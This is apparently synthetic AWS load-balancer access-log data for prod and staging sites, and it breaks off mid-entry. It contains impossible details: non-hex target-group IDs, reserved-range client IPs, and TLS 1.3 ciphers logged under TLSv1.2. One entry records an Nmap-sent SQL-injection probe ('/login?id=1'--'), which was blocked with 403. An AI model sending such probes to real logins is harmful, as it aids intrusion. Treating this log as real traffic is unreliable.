prod-web-alb 77.54.167.91:22161 10.0.170.114:443 0.034390 0.182885 0.075485 200 200 231 7635 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc98-a547a7a0edc6421e83ccbc29" "prod-web-alb.example.com" "-" 9 2024-11-01T01:29:44.290883Z "forward" "-" "-" "10.0.170.114:443" "200" "-" "-" -https 2024-11-01T01:29:45.250591Z prod-web-alb 149.168.156.221:39271 10.0.206.216:443 0.068629 0.023305 0.080035 200 200 928 8786 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cc99-ed1533da475d49b49b052ce4" "prod-web-alb.example.com" "-" 10 2024-11-01T01:29:45.250591Z "forward" "-" "-" "10.0.206.216:443" "200" "-" "-" -https 2024-11-01T01:29:45.688010Z prod-api-alb 103.31.108.38:36398 10.0.242.1:443 0.094279 0.080218 0.016119 404 404 661 7909 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc99-4c6b47c11e0342da88e3018a" "prod-api-alb.example.com" "-" 2 2024-11-01T01:29:45.688010Z "forward" "-" "-" "10.0.242.1:443" "404" "-" "-" -https 2024-11-01T01:29:47.469397Z prod-api-alb 49.214.161.100:32897 10.0.141.220:443 0.042377 0.123114 0.034151 301 301 877 8149 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cc9b-7355426694f9446f99ce4e94" "prod-api-alb.example.com" "-" 0 2024-11-01T01:29:47.469397Z "forward" "-" "-" "10.0.141.220:443" "301" "-" "-" -https 2024-11-01T01:29:48.152714Z prod-api-alb 23.231.21.228:29651 10.0.218.109:443 0.005195 0.136075 0.034874 404 404 57 7227 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cc9c-aa4d38ad11474fad946596f2" "prod-api-alb.example.com" "-" 2 2024-11-01T01:29:48.152714Z "forward" "-" "-" "10.0.218.109:443" "404" "-" "-" -http 2024-11-01T01:29:50.000316Z staging-alb 153.191.157.31:64137 34.47.192.121:8080 0.009620 0.365616 0.064154 404 404 342 2494 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc9e-3caccfaff93f456baa459687" "staging-alb.example.com" "-" 9 2024-11-01T01:29:50.000316Z "forward" "-" "-" "34.47.192.121:8080" "404" "-" "-" -https 2024-11-01T01:29:50.716044Z prod-web-alb 201.102.226.44:37385 10.0.198.101:443 0.026183 0.497462 0.092077 200 200 759 5254 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cc9e-831438a424604a42a7957ccb" "prod-web-alb.example.com" "-" 3 2024-11-01T01:29:50.716044Z "forward" "-" "-" "10.0.198.101:443" "200" "-" "-" -http 2024-11-01T01:29:50.876463Z staging-alb 56.156.92.208:13472 251.115.10.216:80 0.012966 0.081864 0.133480 200 200 105 266 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cc9e-f6a2e7a136bf42989a8423ca" "staging-alb.example.com" "-" 6 2024-11-01T01:29:50.876463Z "forward" "-" "-" "251.115.10.216:80" "200" "-" "-" -https 2024-11-01T01:29:52.283653Z staging-alb 223.184.105.107:59764 39.186.122.226:443 0.137270 0.492536 0.014968 404 404 970 4894 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cca0-1a1f042cf5a840b684ce387c" "staging-alb.example.com" "-" 1 2024-11-01T01:29:52.283653Z "forward" "-" "-" "39.186.122.226:443" "404" "-" "-" -http 2024-11-01T01:29:52.564102Z staging-alb 141.19.43.79:27416 202.213.255.172:80 0.032309 0.134221 0.052362 200 200 525 13625 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cca0-4dcd68adfff54daeaaa0b436" "staging-alb.example.com" "-" 7 2024-11-01T01:29:52.564102Z "forward" "-" "-" "202.213.255.172:80" "200" "-" "-" -https 2024-11-01T01:29:53.804011Z staging-alb 127.97.212.35:41615 10.75.244.248:80 0.069409 0.448334 0.005560 301 301 650 3092 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cca1-38afc76157c64419a010032c" "staging-alb.example.com" "-" 4 2024-11-01T01:29:53.804011Z "forward" "-" "-" "10.75.244.248:80" "301" "-" "-" -https 2024-11-01T01:29:54.010116Z staging-alb 166.170.108.149:28876 221.222.35.184:443 0.146395 0.526175 0.045617 404 404 448 1998 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cca2-272799d783a3450daa68ac7a" "staging-alb.example.com" "-" 6 2024-11-01T01:29:54.010116Z "forward" "-" "-" "221.222.35.184:443" "404" "-" "-" -https 2024-11-01T01:29:54.993592Z prod-api-alb 230.116.67.122:23712 10.0.29.195:443 0.009549 0.457406 0.089824 200 200 403 3211 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cca2-69496acdad5c4e17b397bd74" "prod-api-alb.example.com" "-" 6 2024-11-01T01:29:54.993592Z "forward" "-" "-" "10.0.29.195:443" "200" "-" "-" -https 2024-11-01T01:29:55.106139Z prod-web-alb 185.181.129.31:20267 10.0.12.115:443 0.063973 0.483423 0.063147 403 403 334 8195 "GET /login?id=1'-- HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cca3-4e0c46d8d4e04efb828c588f" "-" "-" 3 2024-11-01T01:29:55.106139Z "forward" "-" "-" "10.0.12.115:443" "403" "-" "-" -https 2024-11-01T01:29:56.976457Z prod-web-alb 205.41.132.162:27569 10.0.53.213:443 0.068327 0.134226 0.068155 301 301 142 5397 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cca4-6a624611bc404e67a4312180" "prod-web-alb.example.com" "-" 2 2024-11-01T01:29:56.976457Z "forward" "-" "-" "10.0.53.213:443" "301" "-" "-" -https 2024-11-01T01:29:58.307894Z prod-api-alb 167.16.237.160:60469 10.0.241.247:443 0.006399 0.149322 0.033215 404 404 943 11694 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cca6-4f727fff7f384858a3d32466" "prod-api-alb.example.com" "-" 7 2024-11-01T01:29:58.307894Z "forward" "-" "-" "10.0.241.247:443" "404" "-" "-" -https 2024-11-01T01:29:58.877172Z prod-api-alb 103.117.70.27:23701 10.0.2.125:443 0.044992 0.323994 0.055163 200 200 450 9852 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cca6-9ba1f2e9ad974a439c96e734" "prod-api-alb.example.com" "-" 5 2024-11-01T01:29:58.877172Z "forward" "-" "-" "10.0.2.125:443" "200" "-" "-" -https 2024-11-01T01:29:59.185987Z prod-api-alb 59.193.25.151:36712 10.0.38.188:443 0.051771 0.061642 0.089361 301 301 730 9153 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cca7-8436b1175b43462cbcd9c52d" "prod-api-alb.example.com" "-" 2 2024-11-01T01:29:59.185987Z "forward" "-" "-" "10.0.38.188:443" "301" "-" "-" -https 2024-11-01T01:29:59.457081Z prod-api-alb 105.45.96.66:22906 10.0.252.152:443 0.056749 0.072641 0.095565 302 302 155 11585 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cca7-4862b2d44585418cb1ac9114" "prod-api-alb.example.com" "-" 10 2024-11-01T01:29:59.457081Z "forward" "-" "-" "10.0.252.152:443" "302" "-" "-" -http 2024-11-01T01:30:01.283312Z staging-alb 127.117.14.104:30928 17.138.0.203:80 0.148153 0.108943 0.011844 200 200 830 8883 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cca9-6ff3205c035b400ebd554807" "staging-alb.example.com" "-" 4 2024-11-01T01:30:01.283312Z "forward" "-" "-" "17.138.0.203:80" "200" "-" "-" -https 2024-11-01T01:30:02.592038Z staging-alb 51.209.77.193:54027 190.141.131.112:443 0.117208 0.421102 0.040054 302 302 231 7466 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccaa-58149a3ea00a45008b6e8434" "staging-alb.example.com" "-" 9 2024-11-01T01:30:02.592038Z "forward" "-" "-" "190.141.131.112:443" "302" "-" "-" -https 2024-11-01T01:30:04.260394Z prod-web-alb 224.169.0.101:21067 10.0.63.238:443 0.046900 0.235220 0.052399 302 302 864 3472 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccac-6487ed04f6d840dba31e506b" "prod-web-alb.example.com" "-" 8 2024-11-01T01:30:04.260394Z "forward" "-" "-" "10.0.63.238:443" "302" "-" "-" -https 2024-11-01T01:30:06.119691Z prod-web-alb 1.201.236.61:38604 10.0.213.192:443 0.004309 0.489403 0.022536 301 301 429 3429 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccae-109e94d20e264b35bd4138b9" "prod-web-alb.example.com" "-" 2 2024-11-01T01:30:06.119691Z "forward" "-" "-" "10.0.213.192:443" "301" "-" "-" -https 2024-11-01T01:30:06.384379Z prod-web-alb 224.112.248.75:52554 10.0.248.169:443 0.055799 0.076682 0.036006 404 404 984 5229 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccae-af22550a9bb84df391d1d488" "prod-web-alb.example.com" "-" 1 2024-11-01T01:30:06.384379Z "forward" "-" "-" "10.0.248.169:443" "404" "-" "-" -https 2024-11-01T01:30:07.208738Z prod-api-alb 28.238.77.158:55167 10.0.199.72:443 0.027296 0.474508 0.009506 200 200 820 7217 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccaf-752b87a66179444bb068024e" "prod-api-alb.example.com" "-" 7 2024-11-01T01:30:07.208738Z "forward" "-" "-" "10.0.199.72:443" "200" "-" "-" -https 2024-11-01T01:30:08.362329Z prod-api-alb 65.104.14.86:55112 10.0.247.12:443 0.086056 0.232743 0.045301 200 200 843 4357 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccb0-e9eee13587284c4d9364ff9b" "prod-api-alb.example.com" "-" 9 2024-11-01T01:30:08.362329Z "forward" "-" "-" "10.0.247.12:443" "200" "-" "-" -https 2024-11-01T01:30:09.689852Z prod-web-alb 253.179.66.54:36101 10.0.176.146:443 0.073457 0.424431 0.027184 301 301 326 1512 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccb1-7ab45ce15e924d938f0c2758" "prod-web-alb.example.com" "-" 2 2024-11-01T01:30:09.689852Z "forward" "-" "-" "10.0.176.146:443" "301" "-" "-" -http 2024-11-01T01:30:10.692344Z staging-alb 51.245.138.217:59512 204.137.52.33:80 0.132088 0.239962 0.103077 301 301 948 4058 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccb2-d97d49350883444580ec0abf" "staging-alb.example.com" "-" 3 2024-11-01T01:30:10.692344Z "forward" "-" "-" "204.137.52.33:80" "301" "-" "-" -http 2024-11-01T01:30:11.280288Z staging-alb 188.205.121.121:48057 1.180.183.104:8080 0.139805 0.522484 0.080148 301 301 977 13444 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccb3-0dc16310c7a44c428a046d6a" "staging-alb.example.com" "-" 10 2024-11-01T01:30:11.280288Z "forward" "-" "-" "1.180.183.104:8080" "301" "-" "-" -https 2024-11-01T01:30:11.486756Z prod-web-alb 250.5.234.237:61809 10.0.102.218:443 0.059105 0.149251 0.045344 200 200 676 3059 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccb3-cf8a5c9321934c70ac914cff" "prod-web-alb.example.com" "-" 4 2024-11-01T01:30:11.486756Z "forward" "-" "-" "10.0.102.218:443" "200" "-" "-" -http 2024-11-01T01:30:13.085592Z staging-alb 207.225.247.189:51669 117.41.42.77:8080 0.130093 0.473257 0.029214 302 302 832 8740 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccb5-40425a0bea62498b82bbfbf2" "staging-alb.example.com" "-" 1 2024-11-01T01:30:13.085592Z "forward" "-" "-" "117.41.42.77:8080" "302" "-" "-" -https 2024-11-01T01:30:13.238158Z prod-api-alb 147.76.16.94:38286 10.0.16.86:443 0.041386 0.319269 0.077993 200 200 245 5931 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccb5-264ba460dace435f8d4cbfad" "prod-api-alb.example.com" "-" 7 2024-11-01T01:30:13.238158Z "forward" "-" "-" "10.0.16.86:443" "200" "-" "-" -http 2024-11-01T01:30:15.000977Z staging-alb 110.135.140.217:21807 88.247.246.145:8080 0.095945 0.072627 0.035710 200 200 158 11910 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ccb7-dbeec178305145ecb285f0fa" "staging-alb.example.com" "-" 4 2024-11-01T01:30:15.000977Z "forward" "-" "-" "88.247.246.145:8080" "200" "-" "-" -https 2024-11-01T01:30:15.158791Z prod-api-alb 34.79.223.23:21236 10.0.104.128:443 0.000389 0.242438 0.095486 200 200 216 4855 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccb7-751e655b83114a49a534a3b2" "prod-api-alb.example.com" "-" 8 2024-11-01T01:30:15.158791Z "forward" "-" "-" "10.0.104.128:443" "200" "-" "-" -https 2024-11-01T01:30:16.764666Z prod-api-alb 238.18.184.84:19661 10.0.99.91:443 0.081332 0.469399 0.069855 404 404 628 13059 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ccb8-70bd5121f4fd481793d20c07" "prod-api-alb.example.com" "-" 1 2024-11-01T01:30:16.764666Z "forward" "-" "-" "10.0.99.91:443" "404" "-" "-" -https 2024-11-01T01:30:17.510301Z staging-alb 238.104.118.162:57580 169.61.15.56:443 0.078713 0.053341 0.106961 200 200 167 11010 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ccb9-4fb960e9a4d3434ebffe3218" "staging-alb.example.com" "-" 8 2024-11-01T01:30:17.510301Z "forward" "-" "-" "169.61.15.56:443" "200" "-" "-" -https 2024-11-01T01:30:19.100148Z prod-web-alb 19.193.170.73:25261 10.0.28.11:443 0.078539 0.288618 0.022830 302 302 478 1762 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccbb-b695da03d9534c5996845127" "prod-web-alb.example.com" "-" 9 2024-11-01T01:30:19.100148Z "forward" "-" "-" "10.0.28.11:443" "302" "-" "-" -https 2024-11-01T01:30:20.905175Z prod-api-alb 164.11.67.135:20593 10.0.22.77:443 0.096014 0.325881 0.006529 200 200 50 11544 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccbc-765ff12c78dc4c48ae9e37b0" "prod-api-alb.example.com" "-" 8 2024-11-01T01:30:20.905175Z "forward" "-" "-" "10.0.22.77:443" "200" "-" "-" -https 2024-11-01T01:30:21.935014Z prod-web-alb 42.173.184.237:58888 10.0.85.237:443 0.097455 0.245486 0.090319 302 302 845 5545 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccbd-f751c146c3574a80948e5b4f" "prod-web-alb.example.com" "-" 7 2024-11-01T01:30:21.935014Z "forward" "-" "-" "10.0.85.237:443" "302" "-" "-" -https 2024-11-01T01:30:23.797217Z prod-web-alb 63.201.206.38:43498 10.0.88.165:443 0.095847 0.418006 0.052746 301 301 566 1832 "GET /checkout HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccbf-c985868f7bef47c99e638750" "prod-web-alb.example.com" "-" 4 2024-11-01T01:30:23.797217Z "forward" "-" "-" "10.0.88.165:443" "301" "-" "-" -https 2024-11-01T01:30:24.983709Z prod-web-alb 250.238.247.194:58954 10.0.74.165:443 0.007066 0.192196 0.001406 200 200 778 3752 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccc0-42967db5c67c43629a1a7df7" "prod-web-alb.example.com" "-" 7 2024-11-01T01:30:24.983709Z "forward" "-" "-" "10.0.74.165:443" "200" "-" "-" -https 2024-11-01T01:30:26.047621Z staging-alb 93.128.16.230:60385 70.102.49.110:8080 0.112348 0.721357 0.093364 200 200 3 1450 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccc2-cb6a3127f9704f47aa0ef1ad" "staging-alb.example.com" "-" 9 2024-11-01T01:30:26.047621Z "forward" "-" "-" "70.102.49.110:8080" "200" "-" "-" -https 2024-11-01T01:30:27.070475Z prod-web-alb 52.12.75.153:32328 10.0.103.190:443 0.083766 0.291201 0.098009 404 404 252 8074 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ccc3-f6375e9159194f06be8175aa" "prod-web-alb.example.com" "-" 9 2024-11-01T01:30:27.070475Z "forward" "-" "-" "10.0.103.190:443" "404" "-" "-" -https 2024-11-01T01:30:28.492669Z prod-api-alb 137.0.235.4:39591 10.0.30.142:443 0.071828 0.157582 0.079077 404 404 402 9806 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ccc4-1c99a0e5a84c4df4a07d49d7" "prod-api-alb.example.com" "-" 7 2024-11-01T01:30:28.492669Z "forward" "-" "-" "10.0.30.142:443" "404" "-" "-" -http 2024-11-01T01:30:29.724864Z staging-alb 236.60.166.92:35764 140.75.220.233:8080 0.140249 0.385641 0.112669 200 200 298 1387 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccc5-35491ed58dbc4bedac13ad71" "staging-alb.example.com" "-" 3 2024-11-01T01:30:29.724864Z "forward" "-" "-" "140.75.220.233:8080" "200" "-" "-" -http 2024-11-01T01:30:30.868389Z staging-alb 7.212.18.170:19695 164.230.160.103:443 0.008337 0.401144 0.103284 200 200 632 11168 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ccc6-de6bab30593e4be1909f9508" "staging-alb.example.com" "-" 5 2024-11-01T01:30:30.868389Z "forward" "-" "-" "164.230.160.103:443" "200" "-" "-" -https 2024-11-01T01:30:32.674020Z prod-web-alb 231.146.212.128:62019 10.0.125.92:443 0.037598 0.381631 0.038876 404 404 535 6447 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ccc8-d51c55883ef841d780da25c6" "-" "-" 4 2024-11-01T01:30:32.674020Z "forward" "-" "-" "10.0.125.92:443" "404" "-" "-" -https 2024-11-01T01:30:33.703252Z prod-web-alb 33.248.133.88:21792 10.0.172.196:443 0.009939 0.375400 0.000619 302 302 569 1864 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 